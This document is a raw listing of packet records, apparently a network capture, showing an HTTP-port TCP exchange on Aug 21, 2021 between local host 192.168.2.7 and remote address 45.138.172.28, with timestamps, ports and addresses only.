Aug 21, 2021 21:46:32.588665962 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.613254070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613320112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613352060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613372087 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613394976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613405943 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.613416910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613437891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613457918 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.613476038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613476992 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.613498926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613518000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613528013 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.613542080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613563061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613594055 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.613599062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613634109 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.613656998 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.613677979 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.614871979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.614897966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.614917994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.614938021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.614974022 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615017891 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615084887 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615108967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615163088 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615163088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615187883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615207911 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615226984 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615245104 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615262985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615283966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615287066 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615309000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615330935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615334034 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615351915 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615360022 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615374088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615396023 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615405083 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615416050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615480900 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615483999 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615504980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615529060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615544081 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615552902 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615573883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615581036 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615593910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615614891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615617037 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615634918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615653038 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615655899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615677118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615700006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615710974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615721941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615744114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615747929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615765095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615787029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615794897 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615808010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615828037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615833044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615849018 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615873098 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615875006 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615914106 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615930080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615951061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615962982 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.615972996 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.615989923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616018057 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616060972 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616076946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616168022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616193056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616210938 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616223097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616240025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616261959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616265059 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616288900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616307974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616317034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616344929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616365910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616388083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616411924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616435051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616437912 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616451979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616473913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616481066 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616493940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616501093 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616518021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616539955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616544008 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616560936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616581917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616585016 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616602898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616625071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616636038 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616646051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616660118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616668940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616693020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616714954 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616725922 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616735935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616756916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616769075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616774082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616792917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616837025 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616872072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616909981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616933107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.616966009 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.616982937 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.617006063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.617033958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.617064953 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.617079020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.617085934 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.617100954 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.617124081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.617146015 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.617146015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.617167950 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.617202044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.649383068 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649419069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649445057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649470091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649496078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649524927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649552107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649575949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649602890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649626017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649650097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649705887 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649729967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649754047 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649779081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649801970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649827003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649873018 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649898052 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649924994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649950981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.649976015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650017977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650043011 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650069952 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650094032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650119066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650144100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650170088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650198936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650223970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650249958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650275946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650300980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650326967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650352001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650381088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650404930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650429964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650444984 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650455952 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650468111 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650470972 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650474072 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650476933 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650479078 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650481939 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650482893 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650485039 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650487900 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650490046 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650494099 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650496006 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650499105 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650501013 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650502920 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650506020 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650507927 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650511980 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650512934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650543928 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650557041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650583029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650609970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650635004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650650024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650661945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650665998 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650687933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650716066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650731087 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650748014 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650774956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650787115 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650799036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650823116 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650837898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650866032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650891066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.650913954 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.650943041 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.677289963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.677321911 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.677472115 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.677562952 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.681086063 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710150957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710197926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710212946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710262060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710287094 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710311890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710335970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710359097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710375071 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710383892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710410118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710449934 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710454941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710481882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710501909 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710521936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710531950 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710544109 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710560083 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710565090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710588932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710597992 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710612059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710634947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710634947 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710658073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710679054 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710691929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710706949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710752964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710752964 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710841894 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.710855961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710880995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710896015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710911989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710935116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710958004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710975885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.710998058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711020947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711034060 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711041927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711071968 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711080074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711100101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711102009 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711144924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711164951 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711189032 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711204052 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711210966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711232901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711249113 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711255074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711277008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711282015 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711297989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711323023 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711338043 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711344957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711365938 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711370945 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711407900 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711409092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711429119 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711450100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711460114 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711471081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711493015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711500883 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711513042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711539984 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711541891 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711564064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711585999 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711594105 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711606979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711625099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711628914 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711643934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711664915 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711664915 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711687088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711709976 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711710930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711736917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711759090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711780071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711781025 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711803913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711821079 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711827040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711844921 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711850882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711873055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711896896 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711898088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711922884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711946964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711947918 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.711971998 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.711992979 CEST	80	49738	45.138.172.28	192.168.2.7
